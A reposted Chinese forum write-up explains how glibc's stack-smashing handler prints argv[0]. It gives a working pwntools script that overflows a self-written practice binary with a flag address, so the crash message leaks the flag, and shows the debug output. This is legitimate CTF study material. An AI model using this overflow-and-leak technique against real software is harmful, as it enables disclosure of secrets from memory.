首页
社区
课程
招聘
[转帖]初见_stack_chk_fail的调试
发表于: 2020-8-7 17:36 2974

[转帖]初见_stack_chk_fail的调试

2020-8-7 17:36
2974

0x00:函数原理源码
在程序添加了canary保护后,如果我们读取的bof覆盖了对应的值时,程序就会报错,我们可以利用报错信息。

 

程序在启动canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向程序名。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");//这里简单理解成打印出报错信息即可,也就是可     以泄露
}

0x01:命令行参数

 

main(int argc,char *argv[ ])

 

1.argc为整数

 

2.argv为指针的指针(可理解为:char *argv or: char argv[] or: char argv[][] ,argv是一个指针数组)

 

 注:main()括号内是固定的写法。

 

3.下面给出一个例子来理解这两个参数的用法:

 

 假设程序的名称为prog,

 

当只输入prog,则由操作系统传来的参数为:

 

argc=1,表示只有一程序名称。

 

argc只有一个元素,argv[0]指向输入的程序路径及名称:./prog

 

当输入prog para_1,有一个参数,则由操作系统传来的参数为:

 

argc=2,表示除了程序名外还有一个参数。

 

argv[0]指向输入的程序路径及名称。

 

argv[1]指向参数para_1字符串。

 

当输入prog para_1 para_2 有2个参数,则由操作系统传来的参数为:

 

argc=3,表示除了程序名外还有2个参数。

 

argv[0]指向输入的程序路径及名称。

 

argv[1]指向参数para_1字符串。

 

argv[2]指向参数para_2字符串。

 

4.void main( int argc, char *argv[] )

 

char *argv[] : argv 是一个指针数组,他的元素个数是argc,存放的是指向每一个参数的指针

    chen@ubuntu:~$ ./ex0 "hello"

就命令行参数而言,ex0是程序名第一个参数,hello是命令行的第二个参数,都处存在数组中

gcc --args ./ex0 "hello" //args 其实就是把后面的参数当成命令行参数,存在栈上
                          //其实是下图的argv[0]与argv[1],其实是存储在stack上

tel  //栈回溯,有点像解引用
p system //之类的是打印出符号的地址

 

0x03:泄露flag

 

 

正常情况下,p __libc_argv应该打印出栈地址,但不出来我就stack 100找到了

 

 

 

接下来就是修改栈指针指向flag,之后再栈溢出触发报错

 

 

就泄露夺得自己写的flag
0x04:脚本层面

from pwn import *

#p = gdb.debug(args=['./ex0'],gdbscript='r')

p=process('./ex0')



#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



context.log_level='debug'

flag = 0x0804A060

payload = p32(0x0804A060)*0x80



gdb.attach(proc.pidof(p)[0],gdbscript='b *0x804853d')



p.sendline(payload)

pause()

p.recvuntil("}") //大部分flag以}结尾,当然这样写p.recvall()或p.recvline()都可以

细节说明:此题是想在执行python的那个界面看到flag,所以新打开的界面关了,在空格即可

[+] Starting local process './ex0': pid 3095
[DEBUG] Wrote gdb script to '/tmp/pwnseNWO4.gdb'
    file "/home/chen/ex0"
    b *0x804853d
[*] running in new terminal: /usr/bin/gdb -q  "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x201 bytes:
    00000000  60 a0 04 08  60 a0 04 08  60 a0 04 08  60 a0 04 08  `···`···`···`···
    *
    00000200  0a                                                  ·
    00000201
[*] Paused (press any to continue)

此处即可在关掉调试界面空格

[*] Process './ex0' stopped with exit code -6 (SIGABRT) (pid 3095)
[DEBUG] Received 0x38 bytes:
    '*** stack smashing detected ***: {we_ha_we}\n'
    ' terminated\n'

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-8-7 17:38 被zer0_1s编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//